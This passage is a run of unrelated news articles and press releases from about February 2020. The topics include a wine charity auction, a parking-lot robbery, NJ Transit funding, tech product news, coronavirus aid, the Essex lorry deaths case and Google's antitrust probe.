decisive role in this vintage and meant that we avoided the spring frosts that struck other parts of Italy. We then moved from one extreme to another with a dry heat spell that lasted from May until nearly the harvest. Luckily, hot and dry summer days were followed by much cooler nights which contributed to the development of Ornellaia 2017s olfactory complexity. Inspired by the radiant nature of Ornellaia 2017, Tomas Saraceno looked to the connection between the Sun and the Earth, inviting greater care and attention to the most important source of our planets energy. This is the concept behind the artwork developed for the estate and transposed to the unique Salmanazar. PNEUMA 4.21x105 recalls an atomic structure composed of glass spheres which, like clouds, create a suspended city whose form and size are in constant evolution an expansion of traditional concepts of borders and territories. The suspended sculptures forms, as imagined by Saraceno, would be able to float without fossil fuels, powered only by the sun. Alongside the installation for the estate and the Salmanazar, the artist has also customized 110 large-format bottles and designed a special thermochromic label for the 750ml format, through which he invites us to reflect on the impact that human behavior has on the environment. As with every year, the 100 double magnums will be sold to avid collectors around the world, meanwhile the unique Salmanazar and the 6 liter Imperials will only be available for sale through an online auction, hosted by Sothebys, the profits of which will be donated exclusively to the Solomon R. Guggenheim Foundations Minds Eye program. Sothebys Wine is delighted to continue our long-term partnership with Ornellaia supporting the 12th edition of their Vendemmia dArtista project. The 12 lot online auction of the 2017 "Solare" vintage, illustrated by Tomas Saraceno and including many experiences, will open on Sothebys online platform, where clients can easily bid through the Sothebys app. Similar to last year, we anticipate these lots will attract a truly global roster of bidders who wish to buy these exclusive bottles and enjoy unique experiences. Jamie Ritchie, Worldwide Head of Sothebys Wine. Since the inception of Vendemmia dArtista in 2009, we continue to have the pleasure of supporting leading cultural foundations through celebrating the unique character of Ornellaia, says Giovanni Geddes da Filicaja, CEO. In 2019, we embarked on a three-year partnership with the Solomon R. Guggenheim Foundation in New York, which in the first year raised $312,000 for the project through the auction at Sothebys. The connection between art and wine remains a passion for many people, ourselves included; we hope that in the years to come we will be able to contribute just as much, if not more, to the Minds Eye program through which the Guggenheim assists blind and low vision persons to experience art. Donations from the Ornellaia Vendemmia dArtista auction will advance superb educational programs at the museums in the Guggenheim constellation. We offer our sincere appreciation to Ornellaia for their longstanding involvement with the visual arts and their ongoing support of our Minds Eye program, stated Richard Armstrong, Director of the Solomon R. Guggenheim Museum and Foundation. With the generosity of Ornellaia, we are able to expand the programs that allow us to promote an understanding and appreciation of modern and contemporary art to audiences of all abilities." The artist Tomas Saraceno will open the Vendemmia dArtista online auction during the annual event organized by Ornellaia at the Solomon R. Guggenheim Museum in New York on April 30, 2020. The profits will be announced and donated to the Minds Eye program on May 15 when the auction will close on Sothebys website, the long-time partner of the Ornellaia Vendemmia dArtista project. About Ornellaia - http://www.ornellaia.com Ornellaias philosophy considers the birth of the wines to be the truest expression of their terroir. The grapes for Ornellaia are selected by hand, and picked in the estate's vineyards in Bolgheri, on the Tuscan coast. The varying natures of the estate's terroirs, marine, alluvial and volcanic, are ideal for the cultivation of Cabernet Sauvignon, Merlot, Cabernet Franc and Petit Verdot. The Estate extends over 115 hectares along the Tuscan coast, just a short distance from the medieval hamlet of Bolgheri and the famed cypress-lined avenue Viale dei Cipressi. The constant work of the Ornellaia team and the ideal microclimatic and geological characteristics have brought the wines great international success since the first vintage of Ornellaia in 1985. In 2001, the 1998 Ornellaia was declared Wine of the Year by the American journal Wine Spectator. In 2011 the German publication Der Feinschmecker awarded Ornellaia its most sought-after award, the Weinlegende. Ornellaia has received considerable recognition in the national and international press, and is consistently ranked among the top estates by Wine Advocate, Wine Spectator, James Suckling, Antonio Galloni, Bruce Sanderson and the Italian Wine Guides: Gambero Rosso, Espresso, and Veronelli About Vendemmia dArtista Vendemmia d'Artista celebrates the exclusive character of each vintage of Ornellaia. Since the initial release of Ornellaia 2006, Ornellaia has commissioned an internationally-famous contemporary artist to create a work of art for the estate and a series of limited-edition labels, inspired by the character identified by the Winemaker and Estate Director, Axel Heinz, to describe the particular characteristics of the new vintage. 111 large formats, of which 100 3-liter Double Magnums, 10 six-liter Imperials and a nine-liter Salmanazar, are sold or auctioned off by Sothebys Wine for charity. For the 11th edition of the Ornellaia Vendemmia dArtista project, Ornellaia commissioned American artist Shirin Neshat to interpret the character of the Ornellaia 2016 wine La Tensione (Tension); with her disruptive and poetic visual language, the photographer, filmmaker and video-artist alludes to this vintages dynamism and strength through the words of the illustrious 11th- century Persian poet, Omar Khayyam. The artist created a site-specific art installation for the Estate, customized a limited series of 111 large format bottles, and designed a special label that, a single example of which, will be found in each Ornellaia case containing 6, 750ml bottles. Police in California are searching for two female suspects after a 67-year-old woman was dragged 150ft through a parking lot by thieves trying to take her purse. The Anaheim Police Department released the shocking surveillance footage on Thursday which showed the woman being pulled behind a speeding car as she tried to keep a grip on the bag. The victim, Imelda Niess, said she simply had too many important things in her purse to afford letting it go. She received numerous abrasions all over her body but came out with her purse intact, thanks to her rugged determination to keep hold. SCROLL DOWN FOR VIDEO Imelda Niess, 67, refused to let go of her purse as two women in a white Nissan Sedan drove up beside her in a California parking lot and snatched it from her. She was dragged 150ft across the parking lot by the suspects until they let go of the purse and she fell to the ground Imelda Niess' legs can be seen trailing after the white Nissan as it dragged her across the Walmart parking lot on February 13 when she refused to let go of her purse to the suspect These two women were identified as suspects by Niess from Walmart surveillance footage where they were seen shortly before the attempted robbery in the parking lot 'They picked on the wrong person,' Niess told CBS Los Angeles. 'They picked the wrong person because I could be an older woman but I'm very strong. She added that while she was hurt after being dropped on the asphalt, she did not cry but swore angrily at the women. The attempted robbery happened on around 8.10am on Thursday, February 13, in the parking lot of a Walmart, located in the 400 Block of North Euclid Street. The video shows Niess returning to her car and placing her purchases inside when a white four-door Nissan drove up alongside her. Police believe the car may have been a Nissan Sedan and that it had temporary licence plates. The passenger in the approaching car leaned her arm outside the window and grabbed Niess' purse from her arm. The car then attempted to speed off but Niess refused to let go of the purse. Imelda Niess can be seen here beside her car before the suspects pulled up to her The white Nissan Sedan drove away quickly but Niess, hidden here behind the car, held onto her purse because she believed she had to many important things inside to let them go Police identified the two female suspects in this white Sedan by showing Niess surveillance footage from the Walmart in the lead up to the attempted robbery in the parking lot. Here the victim is barely visible as she's dragged alongside the car She was dragged 150ft until the suspect in the passenger seat let go and she fell to the ground. 'I did not let it go, they dragged me, and I still did not let it go,' Niess said. 'I got blood all over my hands. I got bruises all over.' She suffered abrasions to her hands, arms, legs and abdomen and was taken to hospital for treatment. 'This instance was incredibly dangerous and luckily the victim escaped with -- although serious injuries, relatively minor compared to what could've happened,' Sgt. Shane Carringer told KTLA. The victim Imelda Niess was taken to hospital for treatment after she was dragged across the asphalt of the parking lot and sustained abrasions to her knees, hands and abdomen Niess, 67, said that she 'got blood all over my hands' as she refused to let go of her purse and was dragged by the car. She now says she will only keep her driving licence and one credit card in her purse to be safe and that she is too traumatized to return to the Walmart The Anaheim Police Department released video on Thursday which they believe shows two female suspects responsible for dragging 67-year-old Niess across the parking lot Imelda Niess says the suspects picked on the wrong person because although she is an 'older woman' she is 'strong' but admits that she is too traumatized to return to this California Walmart where she was dragged 150ft by car for refusing to give up her purses to thieves 'She could've been rolled over and ultimately killed in this situation.' Niess was later able to identify two women from surveillance footage police who believe to be suspects. They were seen inside the Walmart shortly before the attempted robbery took place. Police hope the video will help in identifying them. Niess has now said that she will only be carrying her driver licence and one credit card in her purse in future and feels too traumatized to come back to the Walmart. Police asked that anyone with information contact Orange County Crime Stoppers at 855-TIP-OCCS or at occrimestoppers.org. State Senate President Stephen Sweeney on Friday proposed using a 1 percent tax on corporate income in New Jersey to provide a permanent source of funding for NJ Transit, the states beleaguered rail and bus system. The tax would guarantee NJ Transit $250 million to $300 million a year in state tax support, an amount equal to about 10 percent of its total operating budget. The tax hike is part of a proposal Sweeney offered Friday to find the transit system a stable source of income. Transit needs every dollar it can get," Sweeney, D-Gloucester, said during a news conference at the Statehouse in Trenton. "It the lifeblood of the economy of this state. The Senate president wants to ask voters in November to require the state send $500 million, including these corporate tax dollars, to NJ Transit by amending the state Constitution something that would prevent future legislatures from shifting funds to other areas during tough budget times. Such a move would take advantage of a planned phase-out of a 2.5 percent surcharge on the corporation business tax and permanently set the rate at 10 percent for businesses with income over $1 million the second-highest rate in the nation. The $500 million pledge would include $125 million from the states turnpike and $75 million from a Clean Energy Fund to transit operations. At the same time, it would bar NJ Transit from shifting money for capital needs into operations. If you constitutionally dedicate funding, then they can rely on that funding year after year, Sweeney said. "Then they dont have take capital dollars to fund basic needs of the organization. Gov. Phil Murphy and state lawmakers in 2018 agreed to a four-year increase in the tax on corporate profits that would gradually phase out. At its highest, the rate was 11.5 percent for two years, before dropping to 10.5 percent for two years. It is scheduled to return to 9 percent in tax year 2022. Sweeney said Friday he will introduce legislation that would keep the tax at 11.5 percent longer, to begin raising cash for NJ Transit in the coming fiscal year, before it drops back down to 10 percent indefinitely. Proposed by legislative Democrats as an alternative to the Democratic governors desired millionaires tax, Murphy was not initially in favor of hiking business taxes for fear of making New Jersey less competitive for businesses. He agreed to the temporary surtax in exchange for a tax hike on individuals with income above $5 million. Sweeney said a permanent 1-percent surtax would generate more than $250 million a year for NJ Transit, which regularly faces annual operating deficits. Were gonna have businesses participate in funding transportation because theyre the benefactors of transportation," Sweeney said. "Thats the beauty of this plan. Both houses of the New Jersey Legislature the Senate and Assembly would have to approve Sweeneys plan for it to get on the November ballot. Sweeney said he has discussed only part of the proposal with Assembly Speaker Craig Coughlin, D-Middlesex. Im more than open if anyone else has any other ideas, Sweeney said. The New Jersey Business & Industry Association swiftly criticized the plan, with the groups president, Michele Siekerka, saying it will greatly impact our largest employers who have already provided historic revenue to the state over the past year." Its permanence will also serve as yet another deterrent for any corporation looking to relocate here, she said. To balance its operating budget, the agency has been transferring money from its capital budget, which is intended to pay for system expansion, major projects and buying new trains and buses. This budget year, $460 million was transferred from the capital to the operating budget, representing 20% of the operating budget. It is also receiving $457 million from the state general fund, $129 million from the turnpike and $82 million from the states Clean Energy Fund. Fares typically make up 40 percent to 50 percent of the agencys budget. Murphys state budget rollout next week will reveal the size of the state subsidy to NJ Transit, as well as any diversions from the turnpike and Clean Energy Fund. The agency projected previously it will face an $86 million operating deficit in the coming fiscal year. And Murphy already has pledged fares will not increase. Last year, Sweeney assembled a legislative panel to investigate NJ Transits problems, and stressed he wanted a proposal for dedicated funding in time for Murphys budget address. Hes also said he expects NJ Transit to look for efficiencies. During one of those hearings late last year, transportation experts argued that without dedicated revenues, efforts to reform NJ Transit which has been plagued by train delays and cancelations, equipment problems, engineer shortages could not succeed. For riders it means more breakdowns, trains and buses in poor conditions and vulnerable to fares that are the highest in the nation, Janna Chernetz, deputy director of the Tri-State Transportation Campaign, told lawmakers. It is stifling economic growth reducing property values. NJ Transit needs a dedicated source of operating funds. We cant continue to short change the agency and expect a miracle, even if it is the holiday season, Chernetz added. You cant expect change unless you make change. New Jersey has yet to make the changes that matter. Sweeney unveiled his proposal Friday shortly after after the latest committee hearing into the agencys issues, in which he and other lawmakers grilled NJ Transit Executive Director Kevin Corbett for hours. Samantha Marcus may be reached at smarcus@njadvancemedia.com. Follow her on Twitter @samanthamarcus. Brent Johnson may be reached at bjohnson@njadvancemedia.com. Follow him on Twitter @johnsb01. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Samsung unveiled the Galaxy Buds+ TWS earphones last week alongside the Galaxy S20 lineup and Galaxy Z Flip. The Korean conglomerate said the Buds+ will arrive in Black, Blue, White and Red colors, but it didn't actually show the Red variant. Which means we have to rely on leakster Evan Blass to get our first look at it. You can check out its image below. The Galaxy Buds+ come with 2-way speakers (woofer + tweeter) that are tuned by AKG. Each bud packs an 85 mAh battery, offering 11 hours of playback, while the charging case has a 270 mAh battery that doubles the playback time. The Buds+ are currently available in Blue, Black and White colors and cost $150 in the US, 170 in Europe and INR11,990 in India. You can read our Galaxy Buds+ hands-on to learn more about them. Source This is a great loss for the Armenian nation and culture. Yervand Manaryan was a brilliant individual and one of the exceptional Armenian artists who also had a stance as a citizen. This is what actor Tigran Nersisyan told reporters during the Requiem Service for Peoples Artist of the Republic of Armenia, actor Yervand Manaryan at St. Hovhannes Church in Yerevan today. I would set aside Manaryan as a person who had the ability to reach out to everyone and understand them. Manaryan was loved by the people, Tigran Nersisyan said. Merited Art Figure of the Republic of Armenia Vigen Stepanyan told reporters that he cant compare Manaryan with anyone. The artists of his generation were individualities and unlike others. They could create their own and were recognized by their work. Its sad to see that such people are passing away, but we also feel pride that there were such people and there was an opportunity to interact and work with them, he said. Among the attendees of the Requiem Service were Prime Minister of Armenia Nikol Pashinyan and Mrs. Anna Hakobyan, Mayor of Yerevan Hayk Marutyan, MPs and government officials, intellectuals, cultural figures and fans of the peoples artist. Manaryan died on February 20. He was 95 years old. A confidential settlement was reached in a former Ohio megachurch pastors lawsuit alleging televangelist Ernest Angley sexually abused and harassed him over a decade, starting in 2004. The allegations by Brock Miller, of Myrtle Beach, South Carolina, included that Angley forced him to get a vasectomy, inspected his genitals and asked him sexual questions while Miller worked at Angleys Grace Cathedral in Cuyahoga Falls. A counterclaim by the church contended those allegations were false, the Akron Beacon Journal reported. The settlement includes a non-disparagement clause. The agreement was reached last week in private mediation. Had the case gone to trial, the attorneys involved had agreed the 98-year-old Angley wouldnt be required to testify due to age-related maladies. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Abuse Molestation Ohio 2005-2022 Psych Central a Red Ventures Company. All rights reserved. Our website services, content, and products are for informational purposes only. Psych Central does not provide medical advice, diagnosis, or treatment. See additional information [February 20, 2020] ColorOS 7 Trial Version now available on flagship OPPO devices in Indonesia SHENZHEN, China, Feb. 21, 2020 /PRNewswire/ -- OPPO is bringing the trial version of ColorOS 7, the latest iteration of its innovative, customized Android 10-based operating system, to its flagship devices currently available in Indonesia, introducing a smoother and more effortless experience to the country's fast-growing number of OPPO users. Users can now enjoy the trial version of ColorOS 7 on nine handsets - Reno, Reno 10X Zoom, Reno 2, F11, F11 Pro and R17 Pro as well as Find X, Find X Automobili Lamborghini Edition and Find X SuperVOOC Edition starting today, thus covering most of the OPPO flagship models available in the Indonesian market. Following its launch last November in New Delhi, India, OPPO's ColorOS 7 has received high praise, thanks to the more unified and customized UI system, seamless and fast user experience, and other innovative features such as the system-wide Dark Mode, an advanced three-finger screenshot, and the Soloop video editor. As OPPO continues to focus on bringing the trial version of ColorOS 7 to more models and regions, it is calling on fans to become a part of the OS development process by providing user feedback. As such, OPPO is recruiting testers to try out the trial version and share their experiences in their community at https://community.coloros.com/forum.php . This will allow OPPO to ontinue enhancing ColorOS 7 and delivering users a more seamless and effortless experience. OPPO welcomes users and fans to join its growing pool of over 92,000 testers worldwide. Users can apply manually through their OPPO handsets by going to "Settings - Software Updates", tap the settings icon in the upper right corner, tap "Trial Version", fill in the information, select the must-know checkbox, and then tap "Apply Now". Apply as soon as possible to avoid missing out, since there's a limit of 2,000 testers for the Find X series and another 4,000 for the R17 Series. Finally, please note that this trial version may not be completely stable, as its purpose is to allow OPPO engineers to further refine the final edition of the OS. For additional information on applying for the trial version, go here: https://community.coloros.com/thread-24372-1-1.html OPPO's largest update to date, ColorOS 7 will eventually be rolled out across 20-plus phone models, covering the Reno, Find, F, K, and A series models and the regions of China, South Asia, Southeast Asia, Europe, Asia-Pacific, and the Middle East. For more information, please contact the OPPO International PR Team: [email protected] About ColorOS ColorOS is a highly customized, efficient, intelligent, and richly designed Android-based mobile OS from OPPO. ColorOS 7 supports multiple languages, including English, Thai, Indonesian, and more, with over 300 million global users. About OPPO OPPO is a leading global smart device brand. Today, OPPO provides customers with a wide range of smart devices spearheaded by the Find and R series, ColorOS operating system, and internet services such as OPPO Cloud and OPPO+. OPPO operates in more than 40 countries and regions, with 6 research institutes and 4 R&D centers worldwide, as well as an international design center in London. OPPO's more than 40,000 employees are dedicated to creating a better life for customers around the world. Photo - https://photos.prnasia.com/prnh/20200220/2725955-1 SOURCE OPPO [ Back To TMCnet.com's Homepage ] New Delhi, Feb 21 : Five planes of Qatar Airways Cargo on Friday departed for China carrying around 300 tonnes of medical supplies donated by the airline to support cornavirus relief efforts. "The five flights departed for Beijing, Shanghai and Guangzhou one after the other as part of Qatar Airways' voluntary offer of free air cargo transportation for medical relief aid organised by Chinese Embassies and Consulates worldwide to fight the coronavirus emergency," the airline said in a statement. Friday's convoy follows an earlier batch of critical medical relief aid transported by Qatar Airways Cargo to Shanghai on February 2. The shipment included 1,00,000 medical-grade N95 respiratory masks and 2,700 medical-grade disposable latex gloves, providing essential protection to healthcare professionals working around the clock at hospitals in Hubei Province, the epicentre of the virus. The airline is planning to transport additional donations in the coming weeks, it said. Qatar Airways is the first international airline to volunteer emergency relief flight delivery, the statement said. Qatar Airways is also working closely with the World Health Organization and local authorities worldwide to safeguard the health and safety of its employees and passengers. In 2019, Berkeley became the first city in the United States to ban the installation of natural gas lines for new buildings. More than two dozen cities and counties have followed suit. In Takoma Park, some officials want to take this ban further, in part because there is relatively little new construction in the city. Comedian Brad Williams has raised $194,986 Australian dollars (100,000) to send a bullied child to Disneyland with his mother. Williams, who has his own Netflix show, started a crowdfunder after seeing a video of nine-year-old Quaden Bayles crying about being bullied at school. Bayles, like Williams, has achondroplasia (a type of dwarfism), and was filmed by his mother, Yarraka, saying that he wanted to be given a knife to kill himself because of how he was treated at school. Since the video was posted on Facebook, Bayles story has gone viral and led to pledges of support from numerous celebrities, as well as the GoFundMe page set up by Williams. Williams said: Im setting up this GoFundMe to let Quaden know that bullying will not be tolerated, and that he is a wonderful human being who deserves joy. I want to fly Quaden and his mother to America, get them a nice hotel, and bring them to Disneyland. The page has received over 8,000 donations totalling nearly 200k Australian dollars. Williams also confirmed that Fiji Airways had agreed to donate plane tickets for Bayles and his mother to fly to Los Angeles for free. He says: This isnt just for Quaden, this is for anyone who has been bullied in their lives and told they werent good enough. Lets show Quaden and others that there is good in the world and they are worthy of it. If there is money left over after the Bayles holiday Williams says he will be donated to anti-bullying charities on the behalf of the family. Earlier this week Bayles mother shared a video of her son in floods of tears after picking him up from school on Facebook in a bid to raise awareness of the consequences of bullying. In the video, which has subsequently been viewed more than 17m times, his mother says this is what bullying does before explaining that she has to constantly keep my eye on him because of the suicide attempts. Britain's biggest fundraisers Show all 2 1 /2 Britain's biggest fundraisers Britain's biggest fundraisers Alex.jpg Britain's biggest fundraisers Alex 2.jpg JustGiving So now we have a severely suicidal child who is sick of the bullying that is every single day that he attends school or is in public, she said. Its every single f***ing day and were sick of it. A number of celebrities have shared their thoughts on the footage after it was shared on social media, including Hugh Jackman who said Bayles was stronger than you know, and Mark Hamill, who played Luke Skywalker in Star Wars. In the original footage, Bayles, who raises awareness about his condition in his home country of Australia, can be seen getting visibly upset after being picked on at school about his height. Skaletska thanked the pilots of the plane that had brought the people to Ukraine, the doctors and the entire crew. Ukrainian Health Minister Zoryana Skaletska has said she will join in with evacuees from China who have been put in 14-day quarantine in Ukraine. "I've made up my mind to join the people under observation. I'll spend the next 14 days together with them, in the same premises, under the same conditions," the minister wrote on Facebook on February 20. She said she hoped that her presence would calm down both local residents in the town of Novi Sanzhary, Poltava region, who came out against the accommodation of the evacuees in a local health center, and the rest of Ukraine. Read alsoOver 10 police officers badly injured in clashes with protesters in Novi Sanzhary interior minister "What has been happening today panic and zero tolerance, negativity and aggression have produced a strong negative impression on me. The people evacuated from China got even more impressed. Therefore, I ask you to express the words of support and gratitude to them for the fact that they have agreed to spend two weeks in isolation for the sake of safety of all of us. I hope that my personal example will contribute to calming the situation down and bringing about a reconciliation," she said. Skaletska also thanked the pilots of the plane that had brought the evacuees to Ukraine, the doctors and the entire crew, "who have volunteered to help with the evacuation and [agreed to] spend the next 14 days with all of them in isolation." As UNIAN reported, chartered flight PQ 7302 with Ukrainian citizens and foreigners evacuated from China landed at Kharkiv Airport on February 20. Then the evacuees were bussed to the National Guard's medical center in Novi Sanzhary. Ukraine's Health Ministry reported there were 45 Ukrainians, 27 foreigners and crew members, including three doctors, on board the plane. They all will be placed under 14-day observation with a strict biosecurity regime. Collapsed fashion retailer Colette by Colette Hayman will close 33 stores across the country as the company looks to be snapped up by potential buyers. Colette entered voluntary administration earlier this month following a troubled Christmas trading period and after a funding deal to save the business fell through. Deloitte administrators Vaughan Strawbridge, Sam Marsden and Jason Tracy were placed in control of the business. Handbag seller Colette by Colette Hayman will shut 33 stores. Credit:Janie Barrett They announced on Friday that 33 of Colette's 137 stores would be closed over the next three weeks, including outlets in Adelaide's Rundle Mall and Melbourne's Spencer Street. Deloitte could not provide details on the specific number of jobs that would be affected by the closures, but noted staff would be reassigned where possible and paid wages and entitlements in full. Police in the central province of Ha Tinh said on February 20 it has issued decisions to start criminal proceedings against seven suspects on the charge of organizing, brokering illegal emigration under Article 349 of the Penal Code. Bodies of the victims are transported to their homeland. The move is related to the Essex lorry deaths case in October 2019, during which all 39 victims found dead at the back of a lorry in Essex, the UK, were identified as Vietnamese. Ha Tinh police also asked the Ministry of Public Security to work with the Interpol to issue a Red Notice for one of the suspects named Nguyen Thi Thuy Diem, who resides in China. Investigation showed those suspects had conducted procedures for 67 people in Hai Phong, Hai Duong, Nam Dinh, Nghe An, Ha Tinh, Quang Binh and Tay Ninh to illegally go to European countries for working. Following the Essex lorry deaths case, Ha Tinh police launched a criminal case of organizing, brokering illegal emigration in Ha Tinh. On October 31, 2019, and November 8, 2019, the police arrested Tran Dinh Truong and Nguyen Thi Thuy Hoa in connection with the case. On November 21, Nguyen Quoc Thanh was arrested and he told the police about the involvement of Nguyen Thi Thuy Diem. Investigation into the case still continues./.VNA Essex truck victims die of lack of oxygen, overheating: British police Thirty-nine Vietnamese people found dead inside a refrigerated trailer in Essex, north-east of London, last October, died of hypoxia (oxygen deprivation) and hyperthermia (overheating) in an enclosed space, British police said on February 11. ALBANY A 41-year state employee and high-profile union activist has been reinstated to his job with $235,000 in back-pay after his supervisors tried unsuccessfully for almost three years to fire him. An arbitrator, however, concluded there wasnt enough reason to fire Office of Temporary and Disability Assistance worker and Public Employee Federation union steward Usher Piller. I returned to work on Wednesday February 19 I plan to resume my union advocacy with renewed energy and increased vigor, Piller wrote in an email to the Times Union. As you know, the State was seeking to fire me based on a ludicrous assertion that my utilization of the state computer equipment for union activity, and time spent advocating on behalf of PEF members, violated their policies, Piller wrote in an email to PEF leaders earlier in February when the decision came through. But now, instead of being terminated, I will be receiving back pay retroactive to March 20, 2017 that is estimated between $235,000 and $240,000.00. (This will allow me to pay off my loans.) Piller, an approximately $92,000-a-year management specialist, was suspended almost three years ago without pay, pending charges that later included falsifying his timecard and that he used his computer equipment for non-work purposes. Specifically, he was charged with falsifying timecards because he would frequently arrive late and leave late, since he was tending to union business in the early mornings. His supervisor had signed off on that arrangement, Additionally, the arbitrator found that his use of the work computer for union messages wasnt outside the incidental use that is allowed. Arbitrator Mary Crangle concluded that none of those activities interfered with his job performance. She did, however, find that Piller was guilty of seven of 13 charges including insubordination and misconduct. But the push to fire him lacks the requisite just cause, she wrote in the decision. Crangle called for a six-month suspension but said Piller already had served that since he had been off the job for almost three years. While based in New York City, Piller is no stranger to Albany as he has periodically traveled to the Capitol to advocate for fellow PEF union members he believes have been mistreated. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. In 2017 he and state retiree Victor Batorski attempted to carry a mattress into the state Office of Children and Family Services headquarters in Rensselaer. The stunt was part of a longstanding feud he had with an OCFS official at the time, Brian Daniels. Piller at one point sent an email to roughly 5,000 state employees that was sharply critical of Daniels. The straw that finally broke the Cuomo administrations back was my email to 5,000 OCFS employees on March 1, 2017, he added in an email. Prior to that, Piller had pushed for the successful reinstatement of another activist, former Medicaid Inspector Generals Office employee Harvey Brody. Brody received back pay but ended up retiring. rkarlin@timesunion.com 518 454 5758 @RickKarlinTU Pakistan on Friday welcomed the proposed US-Taliban agreement, hoping that all parties would now seize this historic opportunity to bring a comprehensive and inclusive political settlement for durable peace and stability in the war-torn Afghanistan and the region. Secretary of State Mike Pompeo on Friday said that an agreement between the US and the Taliban could come as soon as February 29 in Afghanistan. According to Pompeo, the US "reached an understanding with the Taliban" on a reducton of violence that could lead to the signing of the US-Taliban agreement next week. Pakistan's Foreign Office said the country has consistently supported direct negotiations between the US and Taliban. "From the outset, Pakistan has facilitated this process and contributed to its progress thus far. We look forward to the signing of the agreement on February 29, 2020," it said. The FO said Pakistan believed the signing of the agreement would pave the way for the next step of intra-Afghan negotiations. We hope the Afghan parties would now seize this historic opportunity and work out a comprehensive and inclusive political settlement for durable peace and stability in Afghanistan and the region, said the FO. Pakistan also reaffirmed its support for a peaceful, stable, united, democratic and prosperous Afghanistan, at peace with itself and with its neighbours. Pakistan has been playing a crucial role in the Afghan peace process and last year released senior Taliban leader Mullah Abdul Ghani Baradar from imprisonment, who is reportedly in Qatar. The FO said Pakistan was also looking forward to the international community playing its part in reinforcing the efforts for the establishment of sustainable peace in Afghanistan and helping to create conditions inside Afghanistan to enable the return of Afghan refugees from Pakistan to their homeland with dignity and honour. The US has been negotiating with the Taliban and President Donald Trump had earlier suggested there had been progress between the two sides to reduce violence in the war-torn country and end America's longest war, for 19 years where the US has lost over 2,400 soldiers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The running theme early in Gov. Ned Lamonts second legislative session appears to be Think small. The most visible sign of diminished expectations came in the abortive attempt to reintroduce tolls on Connecticut highways. A drastically reduced plan was pushed by the governor before it was ultimately abandoned this week in the face of insurmountable obstacles (which were almost entirely of the Democratic majoritys own making). The governor and legislative leaders need to ensure a similar fate doesnt befall other priorities, though early indications arent encouraging. On criminal justice reform, Lamont is pushing a much narrower version of the so-called Clean Slate provision than advocates have sought, calling into question his commitment to the issue and whether the bill will accomplish as much as it could. Lamonts proposal would automatically clear low-level misdemeanors from peoples records if they dont commit any other crimes for seven years. It would not affect certain felonies, as advocates had hoped, and the governors waiting period is longer than supporters of previous versions of the bill had wanted. The idea of Clean Slate is not to get people off the hook for crimes they have committed its to ensure the sentence they serve does not follow them around for the rest of their lives. For the measure to apply to anyone, a full sentence would need to be served and the person would need to stay out of the criminal-justice system for a set period of time. Clean Slate does not go easy on people who commit crimes. It does allow for the possibility that people can write new chapters for themselves after their sentences have been served. Under the current system, a conviction follows an offender everywhere, making the chances of re-entering society all but impossible in some cases. People need a place to live, a job and a chance to prove themselves, all of which are infinitely harder to accomplish with a criminal record in their background. There are currently provisions that allow for the expungement of criminal records, but the process is opaque, costly and time-consuming. Clean Slate would make the process automatic for people who have served their time and stayed out of trouble. There is no version of the plan that would apply to violent crimes, so its not as though murderers would be walking free with no way for anyone to know about their past. Lamont says all the right things: You served your time you deserve that second chance. Whatever happened some years ago is not a lifetime sentence. This is the logic behind Clean Slate and one that lawmakers should get behind. Even in its narrower version, the bill should be passed to allow more people an opportunity for a fresh start in life. But it cant be the end of the process. To give people a chance to escape the revolving door of the criminal justice system, where too many citizens find it impossible to rebuild their lives after serving their time, Connecticut must make Clean Slate a priority. Google has reached a settlement with state attorneys general over outside consultants hired to work on the states' antitrust investigation, CNBC has learned. The settlement means that potential roadblocks to the states' probe may be cleared for now, allowing the attorneys general to continue digging into Google's business. A delay to the investigation could hinder the states' ability to uncover important information about Google's competitive practices. Though antitrust investigations are notoriously slow and fact-intensive, the rapid pace of change in the tech industry makes it especially important for investigators to move swiftly in order to impose remedies before they are no longer relevant. Texas is leading the the probe into Google's digital advertising business, which is backed by 49 other attorneys general from U.S. states and territories. The investigation is expanding into other areas of Google's business as well, including search and Android, CNBC previously reported. Google had filed a motion in October asking Texas Attorney General Ken Paxton not to share confidential business information with outside consultants, citing concerns with two people hired to help with the probe based on past work for competitors. The settlement, which is pending in a Texas court, would allow the consultants to continue to advise the states' investigation but also impose certain confidentiality restrictions on them, a source told CNBC. The pending settlement, which was reviewed by CNBC, allows Google to retroactively designate materials it's handed over to the investigation as a trade secret or confidential. Consultants, like those Google had contested, will be able to review material Google hands over but cannot disclose anything deemed a trade secret or confidential to third-parties without Google's consent. The agreement also allows Google to retract any information it turns over that is subject to attorney-client privilege. The states will still be able to contest Google's designation of confidentiality or trade secrets under the agreement and can use third-party vendors, like document review platforms, to assist its probe. "We're pleased that the AG has agreed to restrictions about how it handles our confidential business information. But we remain concerned with the irregular way this investigation is proceeding, including unusual arrangements with advisers who work for our rivals and vocal critics," a Google spokesperson said in a statement. The Texas attorney general's office did not provide a statement on the settlement. Google had contested two consultants hired by Paxton's office. Google complained of Cristina Caffarra's past work for Russian search company Yandex, Microsoft and News Corp, which is a frequent critic of the company. The company also contested Eugene Burrus, who previously worked as assistant general counsel at Microsoft and represented clients in antitrust cases against Google. Paxton told CNBC earlier this month that Google's actions were "pushing us towards a fight." "We don't necessarily want one. But we won't back off if they're not going to cooperate," he said. Paxton also expressed concern over letting the investigation "drag out." "We don't want the technology to pass us by so that by the time we get to any kind of resolution, it doesn't matter," he said at the time. Subscribe to CNBC on YouTube. WATCH: How US antitrust law works, and what it means for Big Tech BAKU, Azerbaijan, Feb.21 By Leman Zeynalova Trend: The Trans Adriatic Pipeline (TAP), the final leg of the Southern Gas Corridor project, which envisages transportation of Azerbaijani gas to Europe, will facilitate the continents energy transition, Spanish Enagas, one of the TAP shareholders, told Trend. "Enagas holds 16 percent share In the TAP project. For Enagas, TAP is a very important project, because it is the most important European gas corridor. TAP will contribute to energy security and diversification in Europe. It is a cost effective transportation route from the Caspian Sea to the South-East Europe," said the company. As Enagas said, TAP is a key project, which will facilitate Europes energy transition, helping to replace more carbon-intensive sources of energy, coal for example. Also, TAP helps to attract foreign investments to the countries through which it passes, said the company. TAP project, worth 4.5 billion euros, is one of the priority energy projects for the European Union (EU). The project envisages transportation of gas from Azerbaijan's Shah Deniz Stage 2 to the EU countries. Connecting with the Trans Anatolian Pipeline (TANAP) at the Greek-Turkish border, TAP will cross Northern Greece, 